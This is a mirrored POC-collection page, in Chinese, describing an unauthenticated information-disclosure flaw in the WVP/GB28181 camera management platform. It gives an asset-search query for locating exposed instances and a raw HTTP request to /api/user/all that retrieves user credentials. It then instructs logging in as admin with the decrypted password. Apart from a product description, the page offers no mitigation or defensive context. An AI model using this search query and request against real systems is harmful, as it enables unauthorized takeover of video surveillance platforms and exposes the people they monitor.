mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-11-08 03:46:17 +00:00
29 lines
1.9 KiB
Markdown
29 lines
1.9 KiB
Markdown
# GB28181摄像头管理平台WVP视频平台存在敏感信息泄露漏洞
|
||
|
||
# 一、产品简介
|
||
GB28181是中国国家标准中关于IP视频监控设备的标准之一。它规定了视频监控设备之间的通信协议和数据格式，以便实现设备之间的互联互通。GB28181摄像头管理平台则是用于管理和监控这些符合GB28181标准的摄像头设备的软件平台，GB28181摄像头管理平台在安防领域具有广泛的应用，可以用于监控各种场所，如公共交通、城市道路、企业园区等，提高了监控系统的整体效率和管理水平。GB28181摄像头管理平台api接口处存在未授权漏洞,恶意攻击者可以通过此漏洞获取到登录信息，从而登录到后台，使服务器处于不安全的状态 
|
||
|
||
# <font style="color:rgb(0, 0, 0);">二、影响版本</font>
|
||
WVP视频平台
|
||
|
||
# <font style="color:rgb(0, 0, 0);">三、资产测绘</font>
|
||
```plain
|
||
body="国标28181"
|
||
```
|
||
|
||
|
||
|
||
## 四、漏洞复现
|
||
```http
|
||
GET /api/user/all HTTP/1.1
|
||
Host: 127.0.0.1
|
||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
|
||
Content-Length: 0
|
||
```
|
||
|
||
使用admin/解密后的密码登录系统 
|
||
|
||
|
||
|
||
> 更新: 2024-06-11 10:36:45
|
||
> 原文: <https://www.yuque.com/xiaokp7/ocvun2/gqt9d1wy8zy3r8oi> |